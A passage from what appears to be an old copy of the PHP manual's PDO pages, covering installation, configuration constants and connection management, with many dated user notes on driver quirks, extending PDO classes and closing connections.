    else
    {
      $args = func_get_args();
      return eval( 'return parent::execute( $args );' );
    }
  }
  public function last_query()
  {
    return $this->pdo->last_query();
  }
}

$pdo = new connexion( ... );
$pdo->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( 'connexion_statement', array($pdo) ) );

?>
webform at aouie dot website 28-Sep-2006 08:38
If you use $dbh = new PDO('pgsql:host=localhost;dbname=test_basic01', $user, $pass); and you get the following error:
PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[08006] [7] could not connect to server: Connection refused\n\tIs the server running on host "localhost" and accepting\n\tTCP/IP connections on port 5432?'
then as pointed out under pg_connect at: http://www.php.net/manual/en/function.pg-connect.php#38291
******
you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
******
Sincerely,
Aouie
djlopez at gmx dot de 30-Aug-2006 11:56
Please note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM ?  WHERE calories < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

The parameter cannot be applied on table names!!
paulius_k at yahoo dot com 25-Jul-2006 05:42
If you need to get Output variable from MSSQL stored procedure, try this :

-- PROCEDURE
CREATE PROCEDURE spReturn_Int @err int OUTPUT
AS
SET @err = 11
GO

$sth = $dbh->prepare("EXECUTE spReturn_Int ?");
$sth->bindParam(1, $return_value, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$sth->execute();
print "procedure returned $return_value\n";
nicolas at serpe dot org 21-May-2006 09:36
I use PDO with the ODBC driver to query stored procedures in a MS SQL Server 2005 Database under Windows XP Professional with IIS 5 and PHP 5.1.4. You may have the same problems with a different configuration.

I experienced 2 very time consuming errors:

1. The first one is when you return the result of a SELECT query, and you get the following clueless message:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[24000]: Invalid cursor state: 0 [Microsoft][SQL Native Client]Invalid cursor state (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Your exact message may be different, the part to pay attention to is "Invalid cursor state".

-> I found that I had this error because I didn't include "SET NOCOUNT ON" in the *body* of the stored procedure. By default the server returns a special piece of information along with the results, indicating how many rows were affected by the stored procedure, and that's not handled by PDO.

2. The second error I had was:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[22003]: Numeric value out of range: 0 [Microsoft][SQL Native Client]Numeric value out of range (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Another meaningless error "Numeric value out of range"...

-> I was actually returning a date datatype (datetime or smalldatetime) "as is", that is, without converting it to varchar before including it in the result set... I don't know if PDO is responsible for converting it to a PHP datatype, but it doesn't. Convert it before it reaches PHP.
pokojny at radlight dot com 23-Apr-2006 05:50
I wanted to extend PDO class to store statistics of DB usage, and I faced some problems. I wanted to count number of created statements and number of their executings. So PDOStatement should have link to PDO that created it and stores the statistical info. The problem was that I didn't knew how PDO creates PDOStatement (constructor parameters and so on), so I have created these two classes:

<?php
/**
 * PHP Document Object plus
 *
 * PHP Document Object plus is library with functionality of PDO, entirely written
 * in PHP, so that developer can easily extend it's classes with specific functionality,
 * such as providing database usage statistics implemented in v1.0b
 *
 * @author Peter Pokojny
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 */
    class PDOp {
        protected $PDO;
        public $numExecutes;
        public $numStatements;
        public function __construct($dsn, $user=NULL, $pass=NULL, $driver_options=NULL) {
            $this->PDO = new PDO($dsn, $user, $pass, $driver_options);
            $this->numExecutes = 0;
            $this->numStatements = 0;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDO, $func), $args);
        }
        public function prepare() {
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'prepare'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function query() {
            $this->numExecutes++;
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'query'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function exec() {
            $this->numExecutes++;

            $args = func_get_args();
            return call_user_func_array(array(&$this->PDO, 'exec'), $args);
        }
    }
    class PDOpStatement implements IteratorAggregate {
        protected $PDOS;
        protected $PDOp;
        public function __construct($PDOp, $PDOS) {
            $this->PDOp = $PDOp;
            $this->PDOS = $PDOS;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDOS, $func), $args);
        }
        public function bindColumn($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindColumn($column, $param);
            else
                $this->PDOS->bindColumn($column, $param, $type);
        }
        public function bindParam($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindParam($column, $param);
            else
                $this->PDOS->bindParam($column, $param, $type);
        }
        public function execute() {
            $this->PDOp->numExecutes++;
            $args = func_get_args();
            return call_user_func_array(array(&$this->PDOS, 'execute'), $args);
        }
        public function __get($property) {
            return $this->PDOS->$property;
        }
        public function getIterator() {
            return $this->PDOS;
        }
   }
?>

Classes have properties with original PDO and PDOStatement objects, which are providing the functionality to PDOp and PDOpStatement.
From outside, PDOp and PDOpStatement look like PDO and PDOStatement, but also are providing wanted info.
keyvez at hotmail dot com 09-Mar-2006 09:49
PDO doesn't return OUTPUT params from mssql stored procedures

/* Stored Procedure Create Code: */
/*
CREATE PROCEDURE p_sel_all_termlength @err INT OUTPUT AS
SET @err = 2627
*/

/* PHP Code: */
<?php
    $Link = new PDO('mssql:host=sqlserver;dbname=database', 'username',
'password');

    $ErrorCode = 0;

    $Stmt = $Link->prepare('p_sel_all_termlength ?');
    $Stmt->bindParam(1,$ErrorCode,PDO::PARAM_INT,4);
    $Stmt->execute();
    echo "Error = " . $ErrorCode . "\n";
?>

/* PHP Output:
Error = 0
*/
www.navin.biz 19-Feb-2006 07:16
Below is an example of extending PDO & PDOStatement classes:

<?php

class Database extends PDO
{
    function __construct()
    {
        parent::__construct('mysql:dbname=test;host=localhost', 'root', '');
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}

class DBStatement extends PDOStatement
{
    public $dbh;

    protected function __construct($dbh)
    {
        $this->dbh = $dbh;
        $this->setFetchMode(PDO::FETCH_OBJ);
    }

    public function foundRows()
    {
        $rows = $this->dbh->prepare('SELECT found_rows() AS rows', array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => TRUE));
        $rows->execute();
        $rowsCount = $rows->fetch(PDO::FETCH_OBJ)->rows;
        $rows->closeCursor();
        return $rowsCount;
    }
}

?>
Dariusz Kielar 13-Feb-2006 07:50
I found a nice pdo modification written in php called Open Power Driver. It has identical API with the original, but allows you to cache query results: http://www.openpb.net/opd.php
shaolin at adf dot nu 08-Feb-2006 03:18
If your having problems re-compiling PHP with PDO as shared module try this.

--enable-pdo=shared
--with-pdo-mysql=shared,/usr/local/mysql
--with-sqlite=shared
--with-pdo-sqlite=shared

1. If PDO is built as a shared modules, all PDO drivers must also be
built as shared modules.
2. If ext/pdo_sqlite is built as a shared module, ext/sqlite must also
be built as a shared module.
3. In the extensions entries, if ext/pdo_sqlite is built as a shared
module, php.ini must specify pdo_sqlite first, followed by sqlite.
tomasz dot wasiluk at gmail dot com 01-Jan-2006 01:09
Watch out for putting spaces in the DSN
mysql:host=localhost;dbname=test works
mysql: host = localhost; dbname=test works
mysql: host = localhost; dbname = test doesn't work...
Matthias Leuffen 04-Dec-2005 10:36
Hi there,

because of ZDE 5.0 and other PHP-IDEs do not seem to support PDO from PHP5.1 in code-completion-database yet, I wrote a code-completion alias for the PDO class.
NOTE: This Class has no functionality and should be only included to your IDE-Project but NOT(!) to your application.

<?php
/**
 * This is a Code-Completion only file
 * (For use with ZDE or other IDEs)
 *
 * Do NOT include() or require() this to your code
 *
 * @author Matthias Leuffen
 */

    class PDO {

        /**
         * Error Constants
         *
         */
        const ERR_ALREADY_EXISTS = 0;
        const ERR_CANT_MAP = 0;
        const ERR_NOT_FOUND = 0;
        const ERR_SYNTAX = 0;
        const ERR_CONSTRAINT = 0;
        const ERR_MISMATCH = 0;
        const ERR_DISCONNECTED = 0;
        const ERR_NONE = 0;

        /**
         * Attributes (to use in PDO::setAttribute() as 1st Parameter)
         *
         */
        const ATTR_ERRMODE = 0;
        const ATTR_TIMEOUT = 0;
        const ATTR_AUTOCOMMIT = 0;
        const ATTR_PERSISTENT = 0;

        // Values for ATTR_ERRMODE
        const ERRMODE_EXCEPTION = 0;
        const ERRMODE_WARNING = 0;

        const FETCH_ASSOC = 0;
        const FETCH_NUM = 0;
        const FETCH_OBJ = 0;

        public function __construct($uri, $user, $pass, $optsArr) {
        }

        /**
         * Prepare Statement: Returns PDOStatement
         *
         * @param string $prepareString
         * @return PDOStatement
         */
        public function prepare ($prepareString) {
        }
        public function query ($queryString) {
        }
        public function quote ($input) {
        }
        public function exec ($statement) {
        }
        public function lastInsertId() {
        }
        public function beginTransaction () {
        }
        public function commit () {
        }
        public function rollBack () {
        }
        public function errorCode () {
        }
        public function errorInfo () {
        }
    }

    class PDOStatement {

        public function bindValue ($no, $value) {
        }
        public function fetch () {
        }
        public function nextRowset () {
        }
        public function execute() {
        }
        public function errorCode () {
        }
        public function errorInfo () {
        }
        public function rowCount () {
        }
        public function setFetchMode ($mode) {
        }
        public function columnCount () {
        }
    }
ng4rrjanbiah at rediffmail dot com 16-Mar-2005 07:53
Some useful links on PDO:
1. PDO Wiki ( http://wiki.cc/php/PDO )
2. Introducing PHP Data Objects ( http://netevil.org/downloads/Introducing-PDO.ppt ), [226 KB], Wez Furlong, 2004-09-24
3. The PHP 5 Data Object (PDO) Abstraction Layer and Oracle ( http://www.oracle.com/technology/pub/articles/php_experts/otn_pdo_oracle5.html ), [60.85 KB], Wez Furlong, 2004-07-28
4. PDO - Why it should not be part of core PHP! ( http://www.akbkhome.com/blog.php/View/55/ ), Critical review, [38.63 KB], Alan Knowles, 2004-10-22

HTH,
R. Rajesh Jeba Anbiah


Introduction

The PHP Data Objects (PDO) extension defines a lightweight, consistent interface for accessing databases in PHP. Each database driver that implements the PDO interface can expose database-specific features as regular extension functions. Note that you cannot perform any database functions using the PDO extension by itself; you must use a database-specific PDO driver to access a database server.

PDO provides a data-access abstraction layer, which means that, regardless of which database you're using, you use the same functions to issue queries and fetch data. PDO does not provide a database abstraction; it doesn't rewrite SQL or emulate missing features. You should use a full-blown abstraction layer if you need that facility.

PDO ships with PHP 5.1, and is available as a PECL extension for PHP 5.0; PDO requires the new OO features in the core of PHP 5, and so will not run with earlier versions of PHP.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Installing PDO on Unix systems

  1. PDO and the PDO_SQLITE driver is enabled by default as of PHP 5.1.0. You may need to enable the PDO driver for your database of choice; consult the documentation for database-specific PDO drivers to find out more about that.

    Note:

    When building PDO as a shared extension (not recommended) then all PDO drivers must be loaded after PDO itself.

  2. When installing PDO as a shared module, the php.ini file needs to be updated so that the PDO extension will be loaded automatically when PHP runs. You will also need to enable any database specific drivers there too; make sure that they are listed after the pdo.so line, as PDO must be initialized before the database-specific extensions can be loaded. If you built PDO and the database-specific extensions statically, you can skip this step.

    extension=pdo.so

Windows users

  1. PDO and all the major drivers ship with PHP as shared extensions, and simply need to be activated by editing the php.ini file:

    extension=php_pdo.dll

    Note:

    This step is not necessary for PHP 5.3 and above, as a DLL is no longer required for PDO.

  2. Next, choose the other database-specific DLL files and either use dl() to load them at runtime, or enable them in php.ini below php_pdo.dll. For example:

    extension=php_pdo.dll
extension=php_pdo_firebird.dll
extension=php_pdo_informix.dll
extension=php_pdo_mssql.dll
extension=php_pdo_mysql.dll
extension=php_pdo_oci.dll
extension=php_pdo_oci8.dll
extension=php_pdo_odbc.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll

    These DLLs should exist in the system's extension_dir.

Note:

Remember that after making changes to your php.ini file you will need to restart PHP for your new configuration directives to take effect.

User Contributed Notes

jean dot ferreira at gmail dot com 21-Mar-2014 10:39
==Installation pdo_ibm in PHP5, using Data Server Driver Package on Debian / Ubuntu==

==Advantages==
#You do not need DB2 (database) installed

==Steps==
#1- Install packages
apt-get install ksh, php5-dev

#2- Make directory
mkdir /opt/ibm

#3- Download Data Server Driver Package (dsdriver), as the architecture
(https://www-304.ibm.com/support/docview.wss?rs=4020&uid=swg27016878&wv=1)

#4- Decompress dsdriver at /opt/ibm/
tar -xvf v10.5fp1_linuxx64_dsdriver.tar.gz  (linux64)
or
tar -xvf v10.5fp1_linuxia32_dsdriver.tar.gz (linux32)

#5- Change permission -  /opt/ibm/dsddriver and run the installation script
chmod 755 installDSDriver
ksh installDSDriver

#6 Download the PDO IBM driver from http://pecl.php.net/package/PDO_IBM and untar the file
http://pecl.php.net/get/PDO_IBM-1.3.3.tgz
tar -xvf PDO_IBM-1.3.3.tgz

#7 Change to the PDO_IBM-1.3.3 directory (that contains the config.m4 file) and execute 'phpize'
cd /xxxx/PDO_IBM-1.3.3
phpize

#8 Configure, make and make install
./configure --with-pdo-ibm=/opt/ibm/dsdriver/lib
make
make install

#9- Change php.ini
vim /etc/php5/apache2/php.ini
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
extension = pdo_ibm.so

#10- Reboot the Apache
service apache2 restart
dtcwee at hotmail dot com 09-Apr-2011 01:16
You may receive this error when testing a PDO-ODBC connection:

"The specified DSN contains an architecture mismatch between the Driver and Application"

My environment was Windows 7 (64 bit), MySQL ODBC drivers (64 bit), Apache 2.2.17 (32 bit), PHP 5.3.5 (32 bit).

If you are like me, you were testing the PDO-ODBC connection because the native database drivers were not visible to PHP. Furthermore, the MySQL 32 bit drivers did not work in my environment.

Solution: Your environment has to be 64 bit all the way through.

Install 64 bit versions of Apache and PHP. They are not available from official sources. However, kind people have compiled some and made them available for download.

As a bonus, the native database drivers suddenly showed up enabled.
gerrywastaken 13-Nov-2009 09:13
This page states
"You may need to enable the PDO driver for your database of choice; consult the documentation for [database-specific PDO drivers]  to find out more about that."

With the term "database-specific PDO drivers" being a link to this information. However you will no find this information on that or any of the pages that it in turn links to.

The appropriate config options seems to be only available by running ./config --help from the source directory after running autoconf.

Here is the related output from running that command:
=====================
  --with-pdo-dblib[=DIR]    PDO: DBLIB-DB support.  DIR is the FreeTDS home directory
  --with-pdo-firebird[=DIR] PDO: Firebird support.  DIR is the Firebird base
                            install directory [/opt/firebird]
  --with-pdo-mysql[=DIR]    PDO: MySQL support. DIR is the MySQL base directoy
                                 If mysqlnd is passed as DIR, the MySQL native
                                 native driver will be used [/usr/local]
  --with-zlib-dir[=DIR]       PDO_MySQL: Set the path to libz install prefix
  --with-pdo-oci[=DIR]      PDO: Oracle OCI support. DIR defaults to $ORACLE_HOME.
                            Use --with-pdo-oci=instantclient,prefix,version
                            for an Oracle Instant Client SDK.
                            For Linux with 10.2.0.3 RPMs (for example) use:
                            --with-pdo-oci=instantclient,/usr,10.2.0.3
  --with-pdo-odbc=flavour,dir
                            PDO: Support for 'flavour' ODBC driver.
                            include and lib dirs are looked for under 'dir'.

                            'flavour' can be one of:  ibm-db2, iODBC, unixODBC, generic
                            If ',dir' part is omitted, default for the flavour
                            you have selected will used. e.g.:

                              --with-pdo-odbc=unixODBC

                            will check for unixODBC under /usr/local. You may attempt
                            to use an otherwise unsupported driver using the "generic"
                            flavour.  The syntax for generic ODBC support is:

                              --with-pdo-odbc=generic,dir,libname,ldflags,cflags

                            When build as shared the extension filename is always pdo_odbc.so
  --with-pdo-pgsql[=DIR]    PDO: PostgreSQL support.  DIR is the PostgreSQL base
                            install directory or the path to pg_config
  --without-pdo-sqlite[=DIR]
                            PDO: sqlite 3 support.  DIR is the sqlite base
                            install directory [BUNDLED]
=====================

So if you wish for instance to install the PostgreSQL PDO driver, then you should add the --with-pdo-pgsql config option before compiling PHP. I may have made mistakes in my explination, however it appears to work and was my best guess given the absence of the mentioned documentation.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PDO Configuration Options
Name | Default | Changeable | Changelog
pdo.dsn.* |  | php.ini only |

Here's a short explanation of the configuration directives.

pdo.dsn.* string

Defines DSN alias. See PDO::__construct() for thorough explanation.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Warning

PDO uses class constants since PHP 5.1. Prior releases use global constants in the form PDO_PARAM_BOOL.

PDO::PARAM_BOOL (integer)
Represents a boolean data type.
PDO::PARAM_NULL (integer)
Represents the SQL NULL data type.
PDO::PARAM_INT (integer)
Represents the SQL INTEGER data type.
PDO::PARAM_STR (integer)
Represents the SQL CHAR, VARCHAR, or other string data type.
PDO::PARAM_LOB (integer)
Represents the SQL large object data type.
PDO::PARAM_STMT (integer)
Represents a recordset type. Not currently supported by any drivers.
PDO::PARAM_INPUT_OUTPUT (integer)
Specifies that the parameter is an INOUT parameter for a stored procedure. You must bitwise-OR this value with an explicit PDO::PARAM_* data type.
PDO::FETCH_LAZY (integer)
Specifies that the fetch method shall return each row as an object with variable names that correspond to the column names returned in the result set. PDO::FETCH_LAZY creates the object variable names as they are accessed. Not valid inside PDOStatement::fetchAll().
PDO::FETCH_ASSOC (integer)
Specifies that the fetch method shall return each row as an array indexed by column name as returned in the corresponding result set. If the result set contains multiple columns with the same name, PDO::FETCH_ASSOC returns only a single value per column name.
PDO::FETCH_NAMED (integer)
Specifies that the fetch method shall return each row as an array indexed by column name as returned in the corresponding result set. If the result set contains multiple columns with the same name, PDO::FETCH_NAMED returns an array of values per column name.
PDO::FETCH_NUM (integer)
Specifies that the fetch method shall return each row as an array indexed by column number as returned in the corresponding result set, starting at column 0.
PDO::FETCH_BOTH (integer)
Specifies that the fetch method shall return each row as an array indexed by both column name and number as returned in the corresponding result set, starting at column 0.
PDO::FETCH_OBJ (integer)
Specifies that the fetch method shall return each row as an object with property names that correspond to the column names returned in the result set.
PDO::FETCH_BOUND (integer)
Specifies that the fetch method shall return TRUE and assign the values of the columns in the result set to the PHP variables to which they were bound with the PDOStatement::bindParam() or PDOStatement::bindColumn() methods.
PDO::FETCH_COLUMN (integer)
Specifies that the fetch method shall return only a single requested column from the next row in the result set.
PDO::FETCH_CLASS (integer)
Specifies that the fetch method shall return a new instance of the requested class, mapping the columns to named properties in the class.

Note: The magic __set() method is called if the property doesn't exist in the requested class

PDO::FETCH_INTO (integer)
Specifies that the fetch method shall update an existing instance of the requested class, mapping the columns to named properties in the class.
PDO::FETCH_FUNC (integer)
Allows completely customize the way data is treated on the fly (only valid inside PDOStatement::fetchAll()).
PDO::FETCH_GROUP (integer)
Group return by values. Usually combined with PDO::FETCH_COLUMN or PDO::FETCH_KEY_PAIR.
PDO::FETCH_UNIQUE (integer)
Fetch only the unique values.
PDO::FETCH_KEY_PAIR (integer)
Fetch a two-column result into an array where the first column is a key and the second column is the value. Available since PHP 5.2.3.
PDO::FETCH_CLASSTYPE (integer)
Determine the class name from the value of first column.
PDO::FETCH_SERIALIZE (integer)
As PDO::FETCH_INTO but object is provided as a serialized string. Available since PHP 5.1.0. Since PHP 5.3.0 the class constructor is never called if this flag is set.
PDO::FETCH_PROPS_LATE (integer)
Call the constructor before setting properties. Available since PHP 5.2.0.
PDO::ATTR_AUTOCOMMIT (integer)
If this value is FALSE, PDO attempts to disable autocommit so that the connection begins a transaction.
PDO::ATTR_PREFETCH (integer)
Setting the prefetch size allows you to balance speed against memory usage for your application. Not all database/driver combinations support setting of the prefetch size. A larger prefetch size results in increased performance at the cost of higher memory usage.
PDO::ATTR_TIMEOUT (integer)
Sets the timeout value in seconds for communications with the database.
PDO::ATTR_ERRMODE (integer)
See the Errors and error handling section for more information about this attribute.
PDO::ATTR_SERVER_VERSION (integer)
This is a read only attribute; it will return information about the version of the database server to which PDO is connected.
PDO::ATTR_CLIENT_VERSION (integer)
This is a read only attribute; it will return information about the version of the client libraries that the PDO driver is using.
PDO::ATTR_SERVER_INFO (integer)
This is a read only attribute; it will return some meta information about the database server to which PDO is connected.
PDO::ATTR_CONNECTION_STATUS (integer)
PDO::ATTR_CASE (integer)
Force column names to a specific case specified by the PDO::CASE_* constants.
PDO::ATTR_CURSOR_NAME (integer)
Get or set the name to use for a cursor. Most useful when using scrollable cursors and positioned updates.
PDO::ATTR_CURSOR (integer)
Selects the cursor type. PDO currently supports either PDO::CURSOR_FWDONLY and PDO::CURSOR_SCROLL. Stick with PDO::CURSOR_FWDONLY unless you know that you need a scrollable cursor.
PDO::ATTR_DRIVER_NAME (string)
Returns the name of the driver.

Example #1 using PDO::ATTR_DRIVER_NAME

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
  echo "Running on mysql; doing something mysql specific here\n";
}
?>

PDO::ATTR_ORACLE_NULLS (integer)
Convert empty strings to SQL NULL values on data fetches.
PDO::ATTR_PERSISTENT (integer)
Request a persistent connection, rather than creating a new connection. See Connections and Connection management for more information on this attribute.
PDO::ATTR_STATEMENT_CLASS (integer)
PDO::ATTR_FETCH_CATALOG_NAMES (integer)
Prepend the containing catalog name to each column name returned in the result set. The catalog name and column name are separated by a decimal (.) character. Support of this attribute is at the driver level; it may not be supported by your driver.
PDO::ATTR_FETCH_TABLE_NAMES (integer)
Prepend the containing table name to each column name returned in the result set. The table name and column name are separated by a decimal (.) character. Support of this attribute is at the driver level; it may not be supported by your driver.
PDO::ATTR_STRINGIFY_FETCHES (integer)
PDO::ATTR_MAX_COLUMN_LEN (integer)
PDO::ATTR_DEFAULT_FETCH_MODE (integer)
Available since PHP 5.2.0
PDO::ATTR_EMULATE_PREPARES (integer)
Available since PHP 5.1.3.
PDO::ERRMODE_SILENT (integer)
Do not raise an error or exception if an error occurs. The developer is expected to explicitly check for errors. This is the default mode. See Errors and error handling for more information about this attribute.
PDO::ERRMODE_WARNING (integer)
Issue a PHP E_WARNING message if an error occurs. See Errors and error handling for more information about this attribute.
PDO::ERRMODE_EXCEPTION (integer)
Throw a PDOException if an error occurs. See Errors and error handling for more information about this attribute.
PDO::CASE_NATURAL (integer)
Leave column names as returned by the database driver.
PDO::CASE_LOWER (integer)
Force column names to lower case.
PDO::CASE_UPPER (integer)
Force column names to upper case.
PDO::NULL_NATURAL (integer)
PDO::NULL_EMPTY_STRING (integer)
PDO::NULL_TO_STRING (integer)
PDO::FETCH_ORI_NEXT (integer)
Fetch the next row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_PRIOR (integer)
Fetch the previous row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_FIRST (integer)
Fetch the first row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_LAST (integer)
Fetch the last row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_ABS (integer)
Fetch the requested row by row number from the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_REL (integer)
Fetch the requested row by relative position from the current position of the cursor in the result set. Valid only for scrollable cursors.
PDO::CURSOR_FWDONLY (integer)
Create a PDOStatement object with a forward-only cursor. This is the default cursor choice, as it is the fastest and most common data access pattern in PHP.
PDO::CURSOR_SCROLL (integer)
Create a PDOStatement object with a scrollable cursor. Pass the PDO::FETCH_ORI_* constants to control the rows fetched from the result set.
PDO::ERR_NONE (string)
Corresponds to SQLSTATE '00000', meaning that the SQL statement was successfully issued with no errors or warnings. This constant is for your convenience when checking PDO::errorCode() or PDOStatement::errorCode() to determine if an error occurred. You will usually know if this is the case by examining the return code from the method that raised the error condition anyway.
PDO::PARAM_EVT_ALLOC (integer)
Allocation event
PDO::PARAM_EVT_FREE (integer)
Deallocation event
PDO::PARAM_EVT_EXEC_PRE (integer)
Event triggered prior to execution of a prepared statement.
PDO::PARAM_EVT_EXEC_POST (integer)
Event triggered subsequent to execution of a prepared statement.
PDO::PARAM_EVT_FETCH_PRE (integer)
Event triggered prior to fetching a result from a resultset.
PDO::PARAM_EVT_FETCH_POST (integer)
Event triggered subsequent to fetching a result from a resultset.
PDO::PARAM_EVT_NORMALIZE (integer)
Event triggered during bound parameter registration allowing the driver to normalize the parameter name.

User Contributed Notes

sam at xnet dot tk 27-Jan-2013 04:37
It should be noted that PDO::FETCH_CLASS will call the constructor *after* setting the values (or calling __set).
Axeia 02-Apr-2010 06:21
If you're reading in information from an array to use in a prepared statement you may find the following function useful.
<?php
function getPDOConstantType( $var )
{
  if( is_int( $var ) )
    return PDO::PARAM_INT;
  if( is_bool( $var ) )
    return PDO::PARAM_BOOL;
  if( is_null( $var ) )
    return PDO::PARAM_NULL;
  //Default
  return PDO::PARAM_STR;
}
?>


Connections and Connection management

Connections are established by creating instances of the PDO base class. It doesn't matter which driver you want to use; you always use the PDO class name. The constructor accepts parameters for specifying the database source (known as the DSN) and optionally for the username and password (if any).

Example #1 Connecting to MySQL

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>

If there are any connection errors, a PDOException object will be thrown. You may catch the exception if you want to handle the error condition, or you may opt to leave it for an application global exception handler that you set up via set_exception_handler().

Example #2 Handling connection errors

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
    foreach($dbh->query('SELECT * from FOO') as $row) {
        print_r($row);
    }
    $dbh = null;
} catch (PDOException $e) {
    print "Error!: " . $e->getMessage() . "<br/>";
    die();
}
?>

Warning

If your application does not catch the exception thrown from the PDO constructor, the default action taken by the zend engine is to terminate the script and display a back trace. This back trace will likely reveal the full database connection details, including the username and password. It is your responsibility to catch this exception, either explicitly (via a catch statement) or implicitly via set_exception_handler().

Upon successful connection to the database, an instance of the PDO class is returned to your script. The connection remains active for the lifetime of that PDO object. To close the connection, you need to destroy the object by ensuring that all remaining references to it are deleted--you do this by assigning NULL to the variable that holds the object. If you don't do this explicitly, PHP will automatically close the connection when your script ends.

Example #3 Closing a connection

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
// use the connection here

// and now we're done; close it
$dbh = null;
?>

Many web applications will benefit from making persistent connections to database servers. Persistent connections are not closed at the end of the script, but are cached and re-used when another script requests a connection using the same credentials. The persistent connection cache allows you to avoid the overhead of establishing a new connection every time a script needs to talk to a database, resulting in a faster web application.

Example #4 Persistent connections

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
    PDO::ATTR_PERSISTENT => true
));
?>

Note:

If you wish to use persistent connections, you must set PDO::ATTR_PERSISTENT in the array of driver options passed to the PDO constructor. If setting this attribute with PDO::setAttribute() after instantiation of the object, the driver will not use persistent connections.

Note:

If you're using the PDO ODBC driver and your ODBC libraries support ODBC Connection Pooling (unixODBC and Windows are two that do; there may be more), then it's recommended that you don't use persistent PDO connections, and instead leave the connection caching to the ODBC Connection Pooling layer. The ODBC Connection Pool is shared with other modules in the process; if PDO is told to cache the connection, then that connection would never be returned to the ODBC connection pool, resulting in additional connections being created to service those other modules.

User Contributed Notes

Anonymous 29-Oct-2014 06:08
"If your application does not catch the exception thrown from the PDO constructor, the default action taken by the zend engine is to terminate the script and display a back trace. This back trace will likely reveal the full database connection details, including the username and password. It is your responsibility to catch this exception"

Never should any error message reveal usernames and passwords - especially should it not be default behavior of PHP. About time to remove the absurdity of php errors off, but PDO connection singing out loud credentials to the World if database is down. Try-catch should not be required to preserve basic security.
Vicente 19-Jun-2014 05:48
WARNING: please note that the documentation is FALSE and INCOMPLETE, when it states setting the variable to NULL is enough to close the connection. Unfortunately, the real signification is obscur for those who don't understand what it means setting a variable to NULL in PHP (ref count).

In fact, references count is used to determine automatically when a connection must be closed: when the connection instance is not holded by any variable anymore, it is closed. Not very flexible to manage resources allocation exactly the way you want.

PDO class actually doesn't expose any method to manually close connection it opens in the constructor.
cappytoi at yahoo dot com 10-Apr-2014 04:08
Using PHP 5.4.26, pdo_pgsql with libpg 9.2.8 (self compiled). As usual PHP never explains some critical stuff in documentation. You shouldn't expect that your connection is closed when you set $dbh = null unless all you do is just instantiating PDO class. Try following:

<?php
$pdo = new PDO('pgsql:host=192.168.137.1;port=5432;dbname=anydb', 'anyuser', 'pw');
sleep(5);
$stmt = $pdo->prepare('SELECT * FROM sometable');
$stmt->execute();
$pdo = null;
sleep(60);
?>

Now check your database. And what a surprise! Your connection hangs for another 60 seconds. Now that might be expectable because you haven't cleared the resultset.

<?php
$pdo = new PDO('pgsql:host=192.168.137.160;port=5432;dbname=platin', 'cappytoi', '1111');
sleep(5);
$stmt = $pdo->prepare('SELECT * FROM admin');
$stmt->execute();
$stmt->closeCursor();
$pdo = null;
sleep(60);
?>

What teh heck you say at this point? Still same? Here is what you need to do to close that connection:

<?php
$pdo = new PDO('pgsql:host=192.168.137.160;port=5432;dbname=platin', 'cappytoi', '1111');
sleep(5);
$stmt = $pdo->prepare('SELECT * FROM admin');
$stmt->execute();
$stmt->closeCursor(); // this is not even required
$stmt = null; // doing this is mandatory for connection to get closed
$pdo = null;
sleep(60);
?>

PDO is just one of a kind because it saves you to depend on 3rd party abstraction layers. But it becomes annoying to see there is no implementation of a "disconnect" method even though there is a request for it for 2 years. Developers underestimate the requirement of such a method. First of all, doing $stmt = null  everywhere is annoying and what is most annoying is you cannot forcibly disconnect even when you set $pdo = null. It might get cleared on script's termination but this is not always possible because script termination may delayed due to slow client connection etc.

Anyway here is how to disconnect forcibly using postgresql:

<?php
$pdo = new PDO('pgsql:host=192.168.137.160;port=5432;dbname=platin', 'cappytoi', '1111');
